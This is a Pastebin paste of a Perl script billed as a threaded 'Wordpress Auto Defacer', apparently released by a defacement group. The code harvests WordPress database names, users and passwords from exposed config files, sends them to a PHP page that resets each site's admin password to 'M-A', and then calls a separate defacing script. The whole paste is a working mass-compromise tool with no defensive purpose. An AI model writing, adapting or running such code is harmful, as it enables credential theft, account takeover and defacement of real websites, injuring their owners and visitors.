Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- # m-a_labz
- # WwW.janissaries.OrG
- use strict;
- use threads;
- use threads::shared;
- use WWW::Mechanize;
- use Term::ANSIColor;
- use Win32::Console::ANSI;
- use HTTP::Request;
- use LWP::Simple;
- #Threads Nember :)
- my $threads = 5;
- system ("del hh.txt&del paths.txt&del valids.txt&del link.txt&del php-link.txt&del wpsite.txt &del wpdeface.txt");
- my $ua = LWP::UserAgent->new;
- $ua->timeout(15);
- $ua->agent('Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.9.1) Gecko/20090624 Firefox/3.5');
- my @paths : shared;
- my @aa : shared;
- my @confz : shared;
- my @infos : shared;
- print color("bold red"), q{
- [+] Wordpress Auto Defacer + Threads ;)
- [+] www.janissaries.org
- };print color("reset");
- print "\n[.] Starting...\n";
- Make_Paths();
- GetPaths();
- print "\n[.] Getting Details From Configs\n\n";
- Get_Info_DB();
- while (threads->list) {}
- print "[+] All Details Was Taked !\n\n";
- print "[.] Changing Webs (Usr & Pwd) In progress ..\n\n";
- GetInfo ();
- Get_Info_Chang();
- while (threads->list) {}
- print "[.] Defacing Webs In progress ..\n\n";
- system ("perl def.pl wpsite.txt");
- sub Make_Paths {
- print "\n[.] Enter Configs Link : ";
- my $url = <>;
- chomp($url);
- open(TCN,">>link.txt");
- print TCN "$url\n";
- close(TCN);
- print "\n[.] Enter (PHP) File Link : ";
- my $query = <>;
- open(N,">>php-link.txt");
- print N "$query\n";
- close(N);
- chomp($query);
- my $content = $ua->get($url)->content;
- while( $content =~m{<li><a href="(.*?)">}g) {
- my $path = $1;
- open(TNN,">>hh.txt");
- print TNN "$path\n";
- close(TNN);
- }
- open( DOM, "hh.txt" ) or die "$!\n";
- while( defined( my $line_ = <DOM> ) ) {
- chomp( $line_ );
- push( @aa, $line_ );
- }
- foreach my $a(@aa){
- if($a =~ /.txt/) {my $name_conf = $a;
- push (@confz, $name_conf);
- }
- }
- foreach my $conf (@confz){
- open(TNN,">>Paths.txt");
- print TNN "$conf\n";
- close(TNN);
- }
- }
- sub GetInfo {
- open( DOM, "valids.txt" ) or die "$!\n";
- while( defined( my $line_ = <DOM> ) ) {
- chomp( $line_ );
- push( @infos, $line_ );
- }
- close( DOM );
- }
- sub GetPaths {
- open( DOM, "paths.txt" ) or die "$!\n";
- while( defined( my $line_ = <DOM> ) ) {
- chomp( $line_ );
- push( @paths, $line_ );
- }
- close( DOM );
- }
- sub Get_Info_DB {
- foreach my $path( @paths ) {
- my $ctr = 0;
- foreach my $thr ( threads->list ) { $ctr++; }
- if ($ctr < $threads){
- threads->create( \&Check_Info_DB,$path );
- }
- else { redo; }
- }
- }
- sub Get_Info_Chang {
- foreach my $info( @infos ) {
- my $ctr = 0;
- foreach my $thr ( threads->list ) { $ctr++; }
- if ($ctr < $threads){
- threads->create( \&Change_Info,$info );
- }
- else { redo; }
- }
- }
- sub Change_Info {
- my $info = shift;
- chomp( $info );
- open (EE, "<php-link.txt") || die "$!";
- my @EE = <EE>;
- close EE;
- foreach my $E (@EE) {
- chomp $E;
- my @p1 = split(/\@/, $info);
- my @p2 = split(/\:/, @p1[1]);
- my $lwp=LWP::UserAgent->new;
- my $res=$lwp -> post($E,[
- 'db' => @p1[0],
- 'userdb' => @p2[0],
- 'passdb' => @p2[1],
- 'mdpass' => 'M-A',
- 'ch1' => '2',
- 'submit' => '\#- Done -\#'
- ]);
- if ($res->content=~m{URL : ~> (.*?)<br>}g) {
- my $web = $1 ;
- if ($web =~/^http:\/\//){
- my @p1 = split(/http:\/\//, $web);
- open(BB,">>wpsite.txt");
- print BB "@p1[1]/wp-login.php";
- print BB "\@admin";
- print BB ":M-A\n";
- close(BB);
- }
- }
- else
- {
- }
- }
- threads->detach();
- }
- sub Check_Info_DB {
- my $path = shift;
- chomp( $path );
- open (DOMAINS, "<link.txt") || die "$!";
- my @DOMAINS = <DOMAINS>;
- close DOMAINS;
- foreach my $K (@DOMAINS) {
- chomp $K;
- my $target = "$K".$path;
- my $request = HTTP::Request->new(GET=>$target);
- my $response = $ua->request($request);
- if ($response->content=~m{define\(\'DB_NAME', '(.*?)'}g){
- my $db_name = $1;
- open(TN,">>valids.txt");
- print TN "$db_name";
- close(TN);
- }
- if ($response->content=~m{define\(\'DB_USER', '(.*?)'}g){
- my $db_user = $1;
- open(TN,">>valids.txt");
- print TN "\@$db_user";
- close(TN);
- }
- if ($response->content=~m{define\(\'DB_PASSWORD', '(.*?)'}g){
- my $db_password = $1;
- open(TN,">>valids.txt");
- print TN ":$db_password\n";
- close(TN);
- }
- else {
- }
- }
- threads->detach();
- }
Advertisement
Add Comment
Please, Sign In to add comment